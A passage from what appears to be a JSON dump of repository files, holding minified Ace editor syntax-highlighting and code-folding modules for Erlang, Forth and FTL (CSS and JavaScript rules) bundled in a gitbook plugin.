([0-7]{1,3}))\"},{token:\"invalid.illegal.string.erlang\",regex:\"\\\\\\\\\\\\^?.?\"},{token:[\"punctuation.definition.placeholder.erlang\",\"punctuation.separator.placeholder-parts.erlang\",\"constant.other.placeholder.erlang\",\"punctuation.separator.placeholder-parts.erlang\",\"punctuation.separator.placeholder-parts.erlang\",\"constant.other.placeholder.erlang\",\"punctuation.separator.placeholder-parts.erlang\",\"punctuation.separator.placeholder-parts.erlang\",\"punctuation.separator.placeholder-parts.erlang\",\"constant.other.placeholder.erlang\",\"constant.other.placeholder.erlang\"],regex:\"(~)(?:((?:\\\\-)?)(\\\\d+)|(\\\\*))?(?:(\\\\.)(?:(\\\\d+)|(\\\\*)))?(?:(\\\\.)(?:(\\\\*)|(.)))?([~cfegswpWPBX#bx\\\\+ni])\"},{token:[\"punctuation.definition.placeholder.erlang\",\"punctuation.separator.placeholder-parts.erlang\",\"constant.other.placeholder.erlang\",\"constant.other.placeholder.erlang\"],regex:\"(~)((?:\\\\*)?)((?:\\\\d+)?)([~du\\\\-#fsacl])\"},{token:\"invalid.illegal.string.erlang\",regex:\"~.?\"},{defaultToken:\"string.quoted.double.erlang\"}]}],\"#symbolic-operator\":[{token:\"keyword.operator.symbolic.erlang\",regex:\"\\\\+\\\\+|\\\\+|--|-|\\\\*|/=|/|=/=|=:=|==|=<|=|<-|<|>=|>|!|::\"}],\"#textual-operator\":[{token:\"keyword.operator.textual.erlang\",regex:\"\\\\b(?:andalso|band|and|bxor|xor|bor|orelse|or|bnot|not|bsl|bsr|div|rem)\\\\b\"}],\"#tuple\":[{token:\"punctuation.definition.tuple.begin.erlang\",regex:\"\\\\{\",push:[{token:\"punctuation.definition.tuple.end.erlang\",regex:\"\\\\}\",next:\"pop\"},{token:\"punctuation.separator.tuple.erlang\",regex:\",\"},{include:\"#everything-else\"},{defaultToken:\"meta.structure.tuple.erlang\"}]}],\"#variable\":[{token:[\"variable.other.erlang\",\"variable.language.omitted.erlang\"],regex:\"(_[a-zA-Z\\\\d@_]+|[A-Z][a-zA-Z\\\\d@_]*)|(_)\"}]},this.normalizeRules()};s.metaData={comment:\"The recognition of function definitions and compiler directives (such as module, record and macro definitions) requires that each of the aforementioned constructs must be the first string inside a line (except for whitespace).  Also, the function/module/record/macro names must be given unquoted.  -- desp\",fileTypes:[\"erl\",\"hrl\"],keyEquivalent:\"^~E\",name:\"Erlang\",scopeName:\"source.erlang\"},r.inherits(s,i),t.ErlangHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/erlang\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/erlang_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./erlang_highlight_rules\").ErlangHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"%\",this.blockComment=null,this.$id=\"ace/mode/erlang\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-forth.js",
    "content": "define(\"ace/mode/forth_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{include:\"#forth\"}],\"#comment\":[{token:\"comment.line.double-dash.forth\",regex:\"(?:^|\\\\s)--\\\\s.*$\",comment:\"line comments for iForth\"},{token:\"comment.line.backslash.forth\",regex:\"(?:^|\\\\s)\\\\\\\\[\\\\s\\\\S]*$\",comment:\"ANSI line comment\"},{token:\"comment.line.backslash-g.forth\",regex:\"(?:^|\\\\s)\\\\\\\\[Gg] .*$\",comment:\"gForth line comment\"},{token:\"comment.block.forth\",regex:\"(?:^|\\\\s)\\\\(\\\\*(?=\\\\s|$)\",push:[{token:\"comment.block.forth\",regex:\"(?:^|\\\\s)\\\\*\\\\)(?=\\\\s|$)\",next:\"pop\"},{defaultToken:\"comment.block.forth\"}],comment:\"multiline comments for iForth\"},{token:\"comment.block.documentation.forth\",regex:\"\\\\bDOC\\\\b\",caseInsensitive:!0,push:[{token:\"comment.block.documentation.forth\",regex:\"\\\\bENDDOC\\\\b\",caseInsensitive:!0,next:\"pop\"},{defaultToken:\"comment.block.documentation.forth\"}],comment:\"documentation comments for iForth\"},{token:\"comment.line.parentheses.forth\",regex:\"(?:^|\\\\s)\\\\.?\\\\( [^)]*\\\\)\",comment:\"ANSI line comment\"}],\"#constant\":[{token:\"constant.language.forth\",regex:\"(?:^|\\\\s)(?:TRUE|FALSE|BL|PI|CELL|C/L|R/O|W/O|R/W)(?=\\\\s|$)\",caseInsensitive:!0},{token:\"constant.numeric.forth\",regex:\"(?:^|\\\\s)[$#%]?[-+]?[0-9]+(?:\\\\.[0-9]*e-?[0-9]+|\\\\.?[0-9a-fA-F]*)(?=\\\\s|$)\"},{token:\"constant.character.forth\",regex:\"(?:^|\\\\s)(?:[&^]\\\\S|(?:\\\"|')\\\\S(?:\\\"|'))(?=\\\\s|$)\"}],\"#forth\":[{include:\"#constant\"},{include:\"#comment\"},{include:\"#string\"},{include:\"#word\"},{include:\"#variable\"},{include:\"#storage\"},{include:\"#word-def\"}],\"#storage\":[{token:\"storage.type.forth\",regex:\"(?:^|\\\\s)(?:2CONSTANT|2VARIABLE|ALIAS|CONSTANT|CREATE-INTERPRET/COMPILE[:]?|CREATE|DEFER|FCONSTANT|FIELD|FVARIABLE|USER|VALUE|VARIABLE|VOCABULARY)(?=\\\\s|$)\",caseInsensitive:!0}],\"#string\":[{token:\"string.quoted.double.forth\",regex:'(ABORT\" |BREAK\" |\\\\.\" |C\" |0\"|S\\\\\\\\?\" )([^\"]+\")',caseInsensitive:!0},{token:\"string.unquoted.forth\",regex:\"(?:INCLUDE|NEEDS|REQUIRE|USE)[ ]\\\\S+(?=\\\\s|$)\",caseInsensitive:!0}],\"#variable\":[{token:\"variable.language.forth\",regex:\"\\\\b(?:I|J)\\\\b\",caseInsensitive:!0}],\"#word\":[{token:\"keyword.control.immediate.forth\",regex:\"(?:^|\\\\s)\\\\[(?:\\\\?DO|\\\\+LOOP|AGAIN|BEGIN|DEFINED|DO|ELSE|ENDIF|FOR|IF|IFDEF|IFUNDEF|LOOP|NEXT|REPEAT|THEN|UNTIL|WHILE)\\\\](?=\\\\s|$)\",caseInsensitive:!0},{token:\"keyword.other.immediate.forth\",regex:\"(?:^|\\\\s)(?:COMPILE-ONLY|IMMEDIATE|IS|RESTRICT|TO|WHAT'S|])(?=\\\\s|$)\",caseInsensitive:!0},{token:\"keyword.control.compile-only.forth\",regex:'(?:^|\\\\s)(?:-DO|\\\\-LOOP|\\\\?DO|\\\\?LEAVE|\\\\+DO|\\\\+LOOP|ABORT\\\\\"|AGAIN|AHEAD|BEGIN|CASE|DO|ELSE|ENDCASE|ENDIF|ENDOF|ENDTRY\\\\-IFERROR|ENDTRY|FOR|IF|IFERROR|LEAVE|LOOP|NEXT|RECOVER|REPEAT|RESTORE|THEN|TRY|U\\\\-DO|U\\\\+DO|UNTIL|WHILE)(?=\\\\s|$)',caseInsensitive:!0},{token:\"keyword.other.compile-only.forth\",regex:\"(?:^|\\\\s)(?:\\\\?DUP-0=-IF|\\\\?DUP-IF|\\\\)|\\\\[|\\\\['\\\\]|\\\\[CHAR\\\\]|\\\\[COMPILE\\\\]|\\\\[IS\\\\]|\\\\[TO\\\\]|<COMPILATION|<INTERPRETATION|ASSERT\\\\(|ASSERT0\\\\(|ASSERT1\\\\(|ASSERT2\\\\(|ASSERT3\\\\(|COMPILATION>|DEFERS|DOES>|INTERPRETATION>|OF|POSTPONE)(?=\\\\s|$)\",caseInsensitive:!0},{token:\"keyword.other.non-immediate.forth\",regex:\"(?:^|\\\\s)(?:'|<IS>|<TO>|CHAR|END-STRUCT|INCLUDE[D]?|LOAD|NEEDS|REQUIRE[D]?|REVISION|SEE|STRUCT|THRU|USE)(?=\\\\s|$)\",caseInsensitive:!0},{token:\"keyword.other.warning.forth\",regex:'(?:^|\\\\s)(?:~~|BREAK:|BREAK\"|DBG)(?=\\\\s|$)',caseInsensitive:!0}],\"#word-def\":[{token:[\"keyword.other.compile-only.forth\",\"keyword.other.compile-only.forth\",\"meta.block.forth\",\"entity.name.function.forth\"],regex:\"(:NONAME)|(^:|\\\\s:)(\\\\s)(\\\\S+)(?=\\\\s|$)\",caseInsensitive:!0,push:[{token:\"keyword.other.compile-only.forth\",regex:\";(?:CODE)?\",caseInsensitive:!0,next:\"pop\"},{include:\"#constant\"},{include:\"#comment\"},{include:\"#string\"},{include:\"#word\"},{include:\"#variable\"},{include:\"#storage\"},{defaultToken:\"meta.block.forth\"}]}]},this.normalizeRules()};s.metaData={fileTypes:[\"frt\",\"fs\",\"ldr\"],foldingStartMarker:\"/\\\\*\\\\*|\\\\{\\\\s*$\",foldingStopMarker:\"\\\\*\\\\*/|^\\\\s*\\\\}\",keyEquivalent:\"^~F\",name:\"Forth\",scopeName:\"source.forth\"},r.inherits(s,i),t.ForthHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/forth\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/forth_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./forth_highlight_rules\").ForthHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.blockComment=null,this.$id=\"ace/mode/forth\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-ftl.js",
    "content": "define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function a(){var e=o.replace(\"\\\\d\",\"\\\\d\\\\-\"),t={onMatch:function(e,t,n){var r=e.charAt(1)==\"/\"?2:1;if(r==1)t!=this.nextState?n.unshift(this.next,this.nextState,0):n.unshift(this.next),n[2]++;else if(r==2&&t==this.nextState){n[1]--;if(!n[1]||n[1]<0)n.shift(),n.shift()}return[{type:\"meta.tag.punctuation.\"+(r==1?\"\":\"end-\")+\"tag-open.xml\",value:e.slice(0,r)},{type:\"meta.tag.tag-name.xml\",value:e.substr(r)}]},regex:\"</?\"+e+\"\",next:\"jsxAttributes\",nextState:\"jsx\"};this.$rules.start.unshift(t);var n={regex:\"{\",token:\"paren.quasi.start\",push:\"start\"};this.$rules.jsx=[n,t,{include:\"reference\"},{defaultToken:\"string\"}],this.$rules.jsxAttributes=[{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",onMatch:function(e,t,n){return t==n[0]&&n.shift(),e.length==2&&(n[0]==this.nextState&&n[1]--,(!n[1]||n[1]<0)&&n.splice(0,2)),this.next=n[0]||\"start\",[{type:this.token,value:e}]},nextState:\"jsx\"},n,{token:\"entity.other.attribute-name.xml\",regex:e},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"},{token:\"string.attribute-value.xml\",regex:\"'\",stateName:\"jsx_attr_q\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},n,{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',stateName:\"jsx_attr_qq\",push:[n,{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"reference\"},{defaultToken:\"string.attribute-value.xml\"}]}],this.$rules.reference=[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}]}var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",u=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+o+\")(\\\\.)(prototype)(\\\\.)(\"+o+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\.)(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+o+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\"